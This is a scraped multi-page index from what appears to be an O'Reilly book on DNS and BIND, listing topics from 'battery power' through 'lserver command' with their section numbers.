battery power : 8.5.2. Recommendations
name servers
6.1.4. The nameserver Directive
6.2.2. Local Name Server
serial number and
7.2.3. Starting Over with a New Serial Number
7.6.1. Common Syslog Messages
zone data : 4.8.2. Backup Files
zone transfers and : 7.6.1. Common Syslog Messages
bastion host : 15.4.6.1. The bastion host
BIND (Berkeley Internet Name Domain)
compiling and installing : B. Compiling and Installing BIND on a Sun
configuration file : (see boot file)
directives and resolvers (list) : F.1. BIND Name Server Boot File Statements
firewalls and : 15.4. DNS and Internet Firewalls
history of : 1.4. The History of BIND
name server maintainence : 7. Maintaining BIND
logging (BIND 8) : 7.5. BIND 8 Logging
monitoring name servers : 7.6. Keeping Everything Running Smoothly
organizing db files : 7.3. Organizing Your Files
updating db files : 7.2. Updating db Files
name server signals : 7.1. BIND Name Server Signals
obtaining source code
3.1. Getting BIND
B.1. Get the Source Code
resources for : 3.1.1. Handy Mailing Lists and Usenet Newsgroups
running as non-root user : 10.11.4. Running BIND as a Non-Root User
statistics : 7.6.2. Understanding the BIND Statistics
versions of
Versions
3.1. Getting BIND
10.11.1. BIND Version
15.4.2. A Bad Example
interoperability problems : 13.5. Interoperability and Version Problems
transitions between : 13.4. Transition Problems
bind-users mailing list
3.1.1. Handy Mailing Lists and Usenet Newsgroups
4.2.9. The Root Cache Data
bind-workers mailing list : 3.1.1. Handy Mailing Lists and Usenet Newsgroups
bogus name servers, avoiding : 10.10. Avoiding a Bogus Name Server
bogusns directive
10.10. Avoiding a Bogus Name Server
F.1.13. bogusns (4.9.3)
Boolean options, nslookup : 11.3. Option Settings
boot file (BIND configuration file)
4.2. Setting Up DNS Data
4.3. Setting Up a BIND Configuration File
7.3. Organizing Your Files
7.3.2. Changing the Origin in a Database File
directives
F.1.14. check-names (4.9.4)
F.1.19. options (8.X.X)
F.1.21. zone (8.X.X)
directives for (list) : F.1. BIND Name Server Boot File Statements
syntax errors in : 13.3.5. 5. Syntax Error in the Conf File or DNS Database File
BSD UNIX operating system : 1.1. A (Very) Brief History of the Internet
bstat utility : 7.6.2. Understanding the BIND Statistics

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

C programming
14.2. C Programming with the Resolver Library Routines
14.3.6. A Perl Version of check_soa
C-style and C++-style comments : 4.3. Setting Up a BIND Configuration File
cache directive
15.4.4.4. The db.root file
F.1.4. cache
caching
2.7. Caching
2.7.1. Time to Live
caching-only name servers
8.2.2. Caching-Only Servers
8.3. Registering Name Servers
cleaning interval : 10.4.3.1. Cleaning interval
corrupted
13.6.8. Name Server Keeps Loading Old Data
13.6.8.4. What have I got?
forwarders and : 10.7. Building Up a Large Site-wide Cache with Forwarders
missing cache data : 13.3.7. 7. Missing Cache Data
negative
12.4. The Resolver Search Algorithm and Negative Caching
13.5.7. Other Name Servers Don't Cache Your Negative Answers
root cache data : 4.2.9. The Root Cache Data
TTL (time to live)
2.7.1. Time to Live
4.2.9. The Root Cache Data
4.8.4. SOA Values
8.4. Changing TTLs
10.12. Load Sharing Between Mirrored Servers
"cannot set resource limits" message : 7.6.1. Common Syslog Messages
canonical names : (see CNAME records)
canonicalization
4.2.5. Address and Alias Records
6.3.2. Electronic Mail
capacity planning : 8.1.2. Capacity Planning
case sensitivity
4.2.1. The db Files
A.1.1. Character Case
categories of data (logging)
7.5. BIND 8 Logging
7.5.3. Category Details
chaining : (see recursive resolution)
channels (logging) : 7.5. BIND 8 Logging
Chaosnet class : 2.1.3. Resource Records
character strings : A.4.1.3. Character string
check_del utility
9.6. Good Parenting
9.6.1. Using check_del
check-names directive : F.1.14. check-names (4.9.4)
check_soa program (example)
14.2.8. A Sample Program: check_soa
14.3.6. A Perl Version of check_soa
checking
delegation
9.6. Good Parenting
9.6.2. Managing Delegation
13.3.9. 9. Missing Subdomain Delegation
host names : 4.5. Host Name Checking (BIND 4.9.4 and Later Versions)
zone (debugging example) : 12.3.4. A Slave Name Server Checking Its Zone (Debug Level 1)
children : (see parenting)
chroot command : 10.11.4. Running BIND as a Non-Root User
CIDR (classless inter-domain routing) : 3.2.3. Checking That Your Network Is Registered
city-level domains : 3.2.2.1. The us domain
class A and B networks, subnetting : 9.5.2.1. Class A and B networks
class C networks, subnetting : 9.5.2.2. /24 (class C-sized) networks
CLASS fields (db files) : A.1.5. Classes
classes : A.1.5. Classes
class option, nslookup : 11.3. Option Settings
internet : 2.1.3. Resource Records
unusual : 7.6.1. Common Syslog Messages
classless inter-domain routing (CIDR) : 3.2.3. Checking That Your Network Is Registered
cleaning interval : 10.4.3.1. Cleaning interval
closest known name servers : 2.6.2. Recursion
cname data category (logging) : 7.5.3. Category Details
CNAME records
4.2.1. The db Files
4.2.5. Address and Alias Records
7.6.1. Common Syslog Messages
15.1. Using CNAME Records
15.1.6. Finding Out a Host's Aliases
A.1.2.2. CNAME canonical name
(see also aliases)
chaining : 15.1.2. CNAMEs Pointing to CNAMEs
"Looked for PTR, Found CNAME" : 13.5.4. Resolver Reports Looked for PTR, Found CNAME
looking up : 15.1.5. Looking Up CNAMEs
queries statistic : 7.6.2. Understanding the BIND Statistics
transition to subdomains : 9.7. Managing the Transition to Subdomains
code, BIND source
3.1. Getting BIND
B.1. Get the Source Code
collisions : 1.2.1. The History of the Domain Name System
com domain : 2.2.1. Top-Level Domains
command-line debugging : 12.2.1. Debugging Command-Line Option
comments
in BIND configuration files
4.3. Setting Up a BIND Configuration File
6.1.7. Comments
in db files : 4.2.2. Comments
compiling BIND : B. Compiling and Installing BIND on a Sun
compressing domain names
14.2.3. Domain Name Compression
14.2.6. The Name Server Library Routines
compression, message : A.4.1.2. Message compression
config data category (logging) : 7.5.3. Category Details
configuration file, BIND : (see boot file)
configuration syntax, BIND : 3.1. Getting BIND
configuring
9.6. Good Parenting
9.6.2. Managing Delegation
channels (logging) : 7.5. BIND 8 Logging
dialup connections : 15.5. Dialup Connections
firewalls : 15.4. DNS and Internet Firewalls
hosts to use DNS : 6. Configuring Hosts
consequences of : 6.3. Minimizing Pain and Suffering
vendor-specific differences : 6.4. Vendor-Specific Options
name servers : 6.1.4.1. One name server configured
resolvers
6.2. Sample Resolver Configurations
9.4.2. Creating and Delegating a Subdomain
vendor-specific : 6.4.10. Windows NT
connectivity
5.2. What's a Mail Exchanger, Again?
8.1.1. Where Do I Put My Name Servers?
13.3.3. 3. Slave Server Can't Load Zone Data
dialup connections : 15.5. Dialup Connections
loss of : 13.3.8. 8. Loss of Network Connectivity
consistency in domain naming
1.2.1. The History of the Domain Name System
2.4. Name Servers and Zones
core size limit : 10.4.2.3. Changing the core size limit
cost of registering domains : 3.2.4. Registering with Your Parent
CPU load : 8.1.2. Capacity Planning
creating : (see adding)
credibility measures : 13.2.2. How to Read a Database Dump

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

d2 option (nslookup)
11.3. Option Settings
11.6.1. Seeing the Query and Response Packets
daemon file : 4.7.2. Check for Syslog Errors
DARPA : 1.1. A (Very) Brief History of the Internet
data dump : 13.2.2. How to Read a Database Dump
data segment size : 10.4.2.1. Changing the data segment size limit
data types, looking up with nslookup : 11.5.1. Looking Up Different Data Types
database files : (see db files)
datasize substatement
10.4.2.1. Changing the data segment size limit
F.1.11.3. limit datasize
db data category (logging) : 7.5.3. Category Details
db files
2.4.3. Data Files
4.2. Setting Up DNS Data
additional data in : 7.2.4. Additional db File Entries
comments in : 4.2.2. Comments
contents of (example)
4.2.7. The Completed Data Files
4.4.4. The Shortened db Files
errors in : 4.7.2. Check for Syslog Errors
for root domain : 15.4.4.4. The db.root file
format of : A.1. Master File Format
generating from host tables : (see h2n utility)
organizing : 7.3. Organizing Your Files
shortcuts (abbreviations) : 4.4. Abbreviations
syntax errors in : 13.3.5. 5. Syntax Error in the Conf File or DNS Database File
updating : 7.2. Updating db Files
db.cache file, updating : 7.2.6. Keeping db.cache Current
db.root file : 15.4.4.4. The db.root file
debug option (nslookup)
11.3. Option Settings
11.6.1. Seeing the Query and Response Packets
debug severity level (logging) : 7.5. BIND 8 Logging
debug substatement
6.1.6. The options Directive
F.2.7. options debug (4.9.3 and later versions)
debugging
8.1.2. Capacity Planning
12. Reading BIND Debugging Output
interpreting output : 12.3. Reading Debugging Output
levels of : 12.1. Debugging Levels
named-xfer program : 13.2.1. How to Use named-xfer
nslookup and : 11.3. Option Settings
resolver
6.1.6. The options Directive
14.2.5. The _res Structure
turning on : 12.2. Turning On Debugging
decimal serial numbers : 7.2.2. SOA Serial Numbers
default data category (logging)
7.5. BIND 8 Logging
7.5.3. Category Details
default domain
4.7.3.1. Initialize the default domain name
6.1.1. The Default Domain
unset : 13.3.12. 12. Default Domain Not Set
with nslookup : 11.3. Option Settings
default search list : 6.1.2. The Search List
default_stderr channel (logging) : 7.5.2.4. Stderr channel
defaultrouter file : 8.5.2. Recommendations
defname option (nslookup) : 11.3. Option Settings
delegation
2.3. Delegation
2.4.1. Delegating Domains
10.11.5. Delegated Name Server Configuration
checking
9.6. Good Parenting
9.6.2. Managing Delegation
in-addr.arpa domain
3.2.4. Registering with Your Parent
15.4.4.3. in-addr.arpa delegation
internal roots : 15.4.4.2. Forward mapping delegation
lame
7.6.1. Common Syslog Messages
7.6.2. Understanding the BIND Statistics
8.3. Registering Name Servers
number of subdomains : 9.2. How Many Children?
octet boundaries and : 9.5.1. Subnetting on an Octet Boundary
old information : 13.6.8.1. Old delegation information
subdomains
9.4.2. Creating and Delegating a Subdomain
13.3.9. 9. Missing Subdomain Delegation
deleting
aliases : 9.7.1. Removing Parent Aliases
hosts : 7.2.1. Adding and Deleting Hosts
/dev/null file : 10.11.4. Running BIND as a Non-Root User
dial-on-demand connections : 15.5.2. Dial-on-Demand
dialup connections
6.4.9. Windows 95
15.5. Dialup Connections
dig utility : 7.2.6. Keeping db.cache Current
Digital UNIX : 6.4.5. Digital's Digital UNIX
directives
6.1.8. A Note on the 4.9 Resolver Directives
(see also under specific directive)
list of : F.1. BIND Name Server Boot File Statements
resolver
6.1. The Resolver
6.1.8. A Note on the 4.9 Resolver Directives
directories, organizing db files in : 7.3.1. Using Several Directories
directory directive : F.1. BIND Name Server Boot File Statements
disabled UDP checksums : 13.5.5. Name Server Startup Fails Because UDP Checksums Disabled
disasters, preventing and handling : 8.5. Planning for Disasters
distfile file : 8.2.1. Primary Master and Slave Servers
dname parameter (res_search) : 14.2.4. The Resolver Library Routines
DNS (Domain Name System)
configuring hosts for : 6. Configuring Hosts
consequences of : 6.3. Minimizing Pain and Suffering
database files : (see db files)
disasters : 8.5. Planning for Disasters
documentation on : Preface
firewalls and : 15.4. DNS and Internet Firewalls
fundamentals of : 1.3. The Domain Name System, in a Nutshell
history of : 1.2.1. The History of the Domain Name System
NIS with : 6.4.1.2. Using DNS with NIS
packet format
11.6.1. Seeing the Query and Response Packets
14.2.1. DNS Packet Format
resource records : (see resource records)
when to use : 1.5. Must I Use DNS?
WINS and : 15.9. DNS and WINS
X.500 directory system vs. : 15.8. DNS Versus X.500
DNS client : 6.1.4. The nameserver Directive
DNS NOTIFY
3.1. Getting BIND
10.2. DNS NOTIFY (Zone Change Notification)
DNS UPDATE : 3.1. Getting BIND
documentation
BIND : 3.1.1. Handy Mailing Lists and Usenet Newsgroups
DNS : Preface
firewalls : 15.4.1. Types of Firewall Software
network numbers : 3.2.3. Checking That Your Network Is Registered
domain directive
6.1.1. The Default Domain
6.1.3. The search Directive
F.2.1. domain
NIS and : 6.4.1.2. Using DNS with NIS
domain name space : 2.1. The Domain Name Space
CIDR and : 3.2.3. Checking That Your Network Is Registered
Internet
2.2. The Internet Domain Name Space
2.2.1. Top-Level Domains
shadow namespace : 15.4.6. A Shadow Namespace
visibility of : 15.4.6. A Shadow Namespace
Domain Name System : (see DNS)
domain names
1.3. The Domain Name System, in a Nutshell
2.1.1. Domain Names
A.4.1.1. Domain name
abbreviations : 4.4. Abbreviations
aliases : (see aliases)
checking host names : 4.5. Host Name Checking (BIND 4.9.4 and Later Versions)
choosing
3.2. Choosing a Domain Name
9.3. What to Name Your Children
collisions : 1.2.1. The History of the Domain Name System
compressing/expanding
14.2.3. Domain Name Compression
14.2.6. The Name Server Library Routines
consistency of
1.2.1. The History of the Domain Name System
2.4. Name Servers and Zones
fully qualified (FQDNs)
2.1.1. Domain Names
6.1.2. The Search List
geographic : (see geographic domain names)
how to read : 2.2.3. Reading Domain Names
local, can't be looked up : 13.6.1. Local Name Can't Be Looked Up
mail exchangers
5.1. MX Records
5.2. What's a Mail Exchanger, Again?
mapping
4.2.6. PTR Records
(see also PTR records)
mapping addresses to
2.6.4. Mapping Addresses to Names
4.2.6. PTR Records
mapping to addresses : 4.2.5. Address and Alias Records
MX records : (see MX records)
remote, looking up : 4.7.3.4. Look up a remote name
resolving : (see resolution)
servers for : (see name servers)
storage : 14.2.2. Domain Name Storage
subdomains : 2.1.2. Domains
trailing dot (.)
2.1.1. Domain Names
4.2.3. SOA Records
4.4.1. Appending Domains
13.3.6. 6. Missing Dot at the End of a Name in a DNS Database File
A.1. Master File Format
domains
1.3. The Domain Name System, in a Nutshell
2.1.2. Domains
3.2.2. Elsewhere in the World
(see also under specific domain name)
adding : 4.9. Adding More Domains
default
4.7.3.1. Initialize the default domain name
6.1.1. The Default Domain
11.3. Option Settings
13.3.12. 12. Default Domain Not Set
delegating
2.3. Delegation
2.4.1. Delegating Domains
13.3.9. 9. Missing Subdomain Delegation
15.4.4.3. in-addr.arpa delegation
old information : 13.6.8.1. Old delegation information
email to specific : 15.4.4.8. Mail to specific Internet domains
getting information on
3.2.1. Where in the World Do I Fit?
3.2.2.1. The us domain
in-addr.arpa
3.2.4. Registering with Your Parent
15.4.4.3. in-addr.arpa delegation
E. in-addr.arpa Registration Form
delegating : 9.4.5. Delegating an in-addr.arpa Zone
incorrect delegation : 13.6.5. rlogin and rsh to Host Fails Access Check
subdomains of : 9.5. Subdomains of in-addr.arpa Domains
international : (see geographic domain names)
levels of : 2.1.2. Domains
non-U.S. : 2.2.2. Further Down
"nonexistent domain" message : 11.7.3. No PTR Data for Name Server's Address
parenting : 9. Parenting
checking delegation : 9.6. Good Parenting
creating subdomains : 9.4. How to Become a Parent: Creating Subdomains
managing transition to subdomains : 9.7. Managing the Transition to Subdomains
naming subdomains : 9.3. What to Name Your Children
registering
3.2.3. Checking That Your Network Is Registered
D. Domain Registration Form
root domain
1.3. The Domain Name System, in a Nutshell
2.1. The Domain Name Space
cache data for : 4.2.9. The Root Cache Data
updating record of : 7.2.6. Keeping db.cache Current
searching : 11.1.3. Domain Searches
state- and city-level
2.2.2. Further Down
3.2.2.1. The us domain
testing setup : 4.7.3. Testing Your Setup with nslookup
top-level
(see top-level domains)
(see
zones vs. : 2.4. Name Servers and Zones
dot (.)
default domain and : 6.1.1. The Default Domain
ndots substatement
6.1.6. The options Directive
F.2.6. options ndots (4.9.3 and later versions)
root domain
1.3. The Domain Name System, in a Nutshell
2.1. The Domain Name Space
4.2.9. The Root Cache Data
trailing in domain names
2.1.1. Domain Names
4.2.3. SOA Records
4.4.1. Appending Domains
13.3.6. 6. Missing Dot at the End of a Name in a DNS Database File
A.1. Master File Format
dotted-octet representation : 2.6.4. Mapping Addresses to Names
dump, database : 13.2.2. How to Read a Database Dump
DUN (Dial-Up Networking)
6.4.9. Windows 95
15.5. Dialup Connections
Dunlap, Kevin : 1.4. The History of BIND
duplicate queries : 7.6.2. Understanding the BIND Statistics
dynamic update facility : 10.3. DNS Dynamic Update
Dynamic Update standard : 3.1. Getting BIND

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

edu domain : 2.2.1. Top-Level Domains
electronic mail : 5. DNS and Electronic Mail
administrator's address : 4.2.3. SOA Records
DNS and : 6.3.2. Electronic Mail
mail exchangers
5.1. MX Records
5.2. What's a Mail Exchanger, Again?
MX records : 5.1. MX Records
routing loops : 5.3. The MX Algorithm
from within firewalls : 15.4.4.7. Mail from internal hosts to the Internet
errors : 4.7.2. Check for Syslog Errors
bogus name servers : 10.10. Avoiding a Bogus Name Server
common syslog messages : 7.6.1. Common Syslog Messages
disasters : 8.5. Planning for Disasters
herror routine : 14.2.4. The Resolver Library Routines
invalid owner name : 7.6.1. Common Syslog Messages
mutual data infection : 13.6.8.3. Mutual infection
name server : 6.1.4.1. One name server configured
rcodes for : 11.6.1. Seeing the Query and Response Packets
in resolv.conf file : 13.3.11. 11. Syntax Error in resolv.conf
statistics for : 7.6.2. Understanding the BIND Statistics
subdomain delegation : 13.3.10. 10. Incorrect Subdomain Delegation
syntax errors
4.7.2. Check for Syslog Errors
13.3.5. 5. Syntax Error in the Conf File or DNS Database File
unspecified (nslookup) : 11.7.7. Unspecified Error
/etc/defaultrouter file : 8.5.2. Recommendations
/etc/exports file : 6.3.1. Differences in Service Behavior
/etc/host.aliases file : 6.3.4. Providing Aliases
/etc/hosts file : 4.6. Tools
empty : 6.4.1.3. Ignoring NIS
nslookup and : 11.1.5. Using NIS and /etc/hosts
power outages and : 8.6.2. Longer Outages (Days)
/etc/named.boot : (see boot file)
/etc/named.pid file : (see named.pid file)
/etc/netgroups file : 6.3.1. Differences in Service Behavior
/etc/netsvc.conf file : 6.4.4. IBM's AIX
/etc/resolv.conf : (see resolv.conf file)
eventlib data category (logging) : 7.5.3. Category Details
example programs, obtaining : Obtaining the Example Programs
exhaustive database search : (see inverse queries)
expanding domain name : 14.2.6. The Name Server Library Routines
expire value
4.8.4. SOA Values
8.4.1. Changing Other SOA Values
expiring cached data
2.7.1. Time to Live
4.2.9. The Root Cache Data
4.8.4. SOA Values
changing TTL : 8.4. Changing TTLs
load sharing and : 10.12. Load Sharing Between Mirrored Servers
exports file : 6.3.1. Differences in Service Behavior

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

fake-iquery substatement : F.1.10.5. options fake-iquery
fetch-glue substatement
10.9. A Nonrecursive Name Server
10.11.5. Delegated Name Server Configuration
file channels (logging) : 7.5.2.1. File channels
file descriptors
7.6.1. Common Syslog Messages
12.3.1. Name Server Startup (Debug Level 1)
filtering packets (firewalls) : 15.4.1.1. Packet filters
finding : (see searching)
firewalls : 15.4. DNS and Internet Firewalls
first-level domains : (see top-level domains)
format
db files : A.1. Master File Format
logging channels : 7.5.2.5. Data formatting for all channels
packet
11.6.1. Seeing the Query and Response Packets
14.2.1. DNS Packet Format
packet message : A.2. DNS Message
resource record data : A.4.1. Data Format
FORMERR responses : 7.6.2. Understanding the BIND Statistics
forward-only name servers : 10.8. A More Restricted Name Server
forward-only substatement : F.1.10.1. options forward-only
forwarders
10.7. Building Up a Large Site-wide Cache with Forwarders
15.4.3. Internet Forwarders
forwarders directive
10.7. Building Up a Large Site-wide Cache with Forwarders
F.1.5. forwarders
FQDNs (fully qualified domain names)
2.1.1. Domain Names
6.1.2. The Search List

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

gateways : 15.4.1.2. Application gateways
gcc compiler settings for BIND : B.3. Use the Proper Compiler Settings
generic top-level domains
2.2.1. Top-Level Domains
3.2.2.2. The generic top-level domains
geographic domain names
2.2.2. Further Down
3.2.1. Where in the World Do I Fit?
choosing : 3.2.1. Where in the World Do I Fit?
list of : C. Top-Level Domains
global positioning : 15.7.4. Location
glue records
9.4.4. On the movie.edu Primary Master
13.6.8.2. Unnecessary glue data
gov domain : 2.2.1. Top-Level Domains
gTLDs (generic top-level domains)
2.2.1. Top-Level Domains
3.2.2.2. The generic top-level domains

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

h2n utility
4.6. Tools
7.2.5. Generating the BIND Database from the Host Tables
13.3.1. 1. Forgot to Increment Serial Number
h_errno variable : 14.2.4. The Resolver Library Routines
hash mark (#) for comments
4.3. Setting Up a BIND Configuration File
6.1.7. Comments
header section, DNS packet
11.6.1. Seeing the Query and Response Packets
14.2.1. DNS Packet Format
A.3. Header Section Format
Perl objects for : 14.3.3. Header Objects
herror routine : 14.2.4. The Resolver Library Routines
Hesiod class : 2.1.3. Resource Records
HINFO records
15.7.1. Host Information
A.1.2.3. HINFO host information
queries statistic : 7.6.2. Understanding the BIND Statistics
hints : (see caching)
homogeneity : 8.1.1. Where Do I Put My Name Servers?
"host unreachable" message : 6.1.4.1. One name server configured
host.aliases file : 6.3.4. Providing Aliases
HOST_NOT_FOUND error : 14.2.4. The Resolver Library Routines
hostname command : 4.7.3.1. Initialize the default domain name
hostresorder directive : 6.4.6. Silicon Graphics' IRIX
HOSTRESORDER variable
6.4.6. Silicon Graphics' IRIX
6.4.7. SCO's Open Server 5.0
hosts : 2.1.2. Domains
adding and deleting
7.2.1. Adding and Deleting Hosts
13.3.4. 4. Added Name to Database File, but Forgot to Add PTR Record
bastion host : 15.4.6.1. The bastion host
configuring to use DNS : 6. Configuring Hosts
consequences of : 6.3. Minimizing Pain and Suffering
vendor-specific UNIX systems : 6.4. Vendor-Specific Options
CPU load on : 8.1.2. Capacity Planning
determining aliases of : 15.1.6. Finding Out a Host's Aliases
disambiguating : 6.3.3. Updating .rhosts, hosts.equiv, etc.
generating db files : (see h2n utility)
information records : (see HINFO records)
mail exchangers
5.1. MX Records
5.2. What's a Mail Exchanger, Again?
multihomed
4.2.4. NS Records
4.2.5. Address and Alias Records
10.5. Name Server Address Sorting
name checking : 4.5. Host Name Checking (BIND 4.9.4 and Later Versions)
network interface interval : 10.4.3.2. Interface interval
statistics for : 7.6.2. Understanding the BIND Statistics
hosts file
empty : 6.4.1.3. Ignoring NIS
power outages and : 8.6.2. Longer Outages (Days)
hosts.equiv file : 6.3.3. Updating .rhosts, hosts.equiv, etc.
HOSTS.TXT file
1.2.1. The History of the Domain Name System
15.6. Network Names and Numbers
HP-UX : 6.4.3. HP's HP-UX
HS (Hesiod) class : 2.1.3. Resource Records
HUP signal
7.1. BIND Name Server Signals
7.6.2. Understanding the BIND Statistics

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

IBM's AIX : 6.4.4. IBM's AIX
ICMP Router Discovery Messages : 8.5.2. Recommendations
ignoretc option (nslookup) : 11.3. Option Settings
ILL signal : 7.1. BIND Name Server Signals
IN class : 4.2.3. SOA Records
in-addr.arpa domain
2.6.4. Mapping Addresses to Names
3.2.4. Registering with Your Parent
delegating : 9.4.5. Delegating an in-addr.arpa Zone
incorrect delegation : 13.6.5. rlogin and rsh to Host Fails Access Check
internal roots and : 15.4.4.3. in-addr.arpa delegation
misconfigured servers : 9.6. Good Parenting
registering : E. in-addr.arpa Registration Form
subdomains of : 9.5. Subdomains of in-addr.arpa Domains
include directive
F.1.8. include (4.9.3)
F.1.16. include (8.X.X)
$INCLUDE entries (db files)
7.3.3. Including Other Database Files
A.1. Master File Format
inconsistent answers : 13.6.3. Wrong or Inconsistent Answer
incrementing serial number : (see serial numbers)
initializing
default domain : 4.7.3.1. Initialize the default domain name
name server (debugging example) : 12.3.1. Name Server Startup (Debug Level 1)
insist data category (logging) : 7.5.3. Category Details
installing BIND : B. Compiling and Installing BIND on a Sun
int domain : 2.2.1. Top-Level Domains
INT signal
7.1. BIND Name Server Signals
13.2.2. How to Read a Database Dump
integer serial numbers : 7.2.2. SOA Serial Numbers
Integrated Services Digital Network (ISDN) : 15.7.3. X25, ISDN, and RT
interactive nslookup : 11.2. Interactive Versus Noninteractive
interface interval : 10.4.3.2. Interface interval
internal root servers : 15.4.4. Internal Roots
internationalization : 2.2.1. Top-Level Domains
geographic domain names
2.2.2. Further Down
3.2.1. Where in the World Do I Fit?
choosing : 3.2.1. Where in the World Do I Fit?
list of : C. Top-Level Domains
Internet
dialup connections
6.4.9. Windows 95
15.5. Dialup Connections
domain name space
2.2. The Internet Domain Name Space
2.2.1. Top-Level Domains
firewalls : 15.4. DNS and Internet Firewalls
internets vs. Internet : 1.2. On the Internet and internets
need for DNS : 1.5.1. If you're connected to the Internet...
registering domains : D. Domain Registration Form
internets, classes of : 2.1.3. Resource Records
InterNIC, registering with : (see registering)
interoperability problems : 13.5. Interoperability and Version Problems
intranets : 1.2. On the Internet and internets
invalid zone data messages : 7.6.1. Common Syslog Messages
inverse queries
2.6.5. Inverse Queries
11.6.1. Seeing the Query and Response Packets
11.7.4. Query Refused
IOT signal : (see ABRT signal)
IP addresses : (see addresses)
IPv6 addresses : 15.7.5. IPv6 Addresses
IRIX : 6.4.6. Silicon Graphics' IRIX
ISDN records
15.7.3. X25, ISDN, and RT
A.1.3.2. ISDN Integrated Services Digital Network address - experimental
iterative (nonrecursive) queries
2.6.2. Recursion
10.7. Building Up a Large Site-wide Cache with Forwarders
14.1.1. A Typical Problem
iterative (nonrecursive) resolution : 2.6.2. Recursion

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

JEEVES : 1.4. The History of BIND

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

key directive : F.1.17. key (8.1.1)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

labels, domain name : A.4.1.1. Domain name
lame delegation
7.6.1. Common Syslog Messages
7.6.2. Understanding the BIND Statistics
8.3. Registering Name Servers
13.3.10. 10. Incorrect Subdomain Delegation
lame-servers data category (logging) : 7.5.3. Category Details
LANs (local area networks)
need for DNS : 1.5.4. If you have your own local area network or site network...
traffic : 8.1.2. Capacity Planning
level, domain : 2.1.2. Domains
levels, debugging : 12.1. Debugging Levels
limit directive : F.1.11.1. limit transfers-in
limit datasize
10.4.2.1. Changing the data segment size limit
F.1.11.3. limit datasize
limit stacksize : 10.4.2.2. Changing the stack size limit
limit transfers-in
10.4.1.2. Limiting the total number of zone transfers initiated
F.1.11.1. limit transfers-in
limit transfers-per-ns
10.4.1.1. Limiting transfers initiated per name server
F.1.11.1. limit transfers-in
F.1.11.2. limit transfers-per-ns
Linux : 6.4.8. Linux
listen-on substatement : 10.11.7. Two Name Servers in One
load : (see performance; traffic)
load data category (logging) : 7.5.3. Category Details
load sharing : 10.12. Load Sharing Between Mirrored Servers
"loaded" message : 7.6.1. Common Syslog Messages
LOC records : 15.7.4. Location
local
default domain : 6.1.1. The Default Domain
domain, in MX records : 5.3. The MX Algorithm
multihomed hosts : 10.5.1. Local Multihomed Hosts
name server
6.2.2. Local Name Server
11.5.3. Switching Servers
names and addresses
4.7.3.2. Look up a local name
13.6.1. Local Name Can't Be Looked Up
networks : (see LANs)
LOCALDOMAIN variable
6.1.1. The Default Domain
6.4.7. SCO's Open Server 5.0
logging (BIND 8)
7.5. BIND 8 Logging
13.2.3. Logging Queries
logging statement : 7.5.1. The Logging Statement
options query-log directive : 7.6.1. Common Syslog Messages
logging directive : F.1.18. logging (8.X.X)
"Looked for PTR, Found CNAME" : 13.5.4. Resolver Reports Looked for PTR, Found CNAME
loopback address
4.2.8. The Loopback Address
6.1.4. The nameserver Directive
ls command : 11.6.3. Zone Transfers
lserver command (nslookup) : 11.5.3. Switching Servers

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

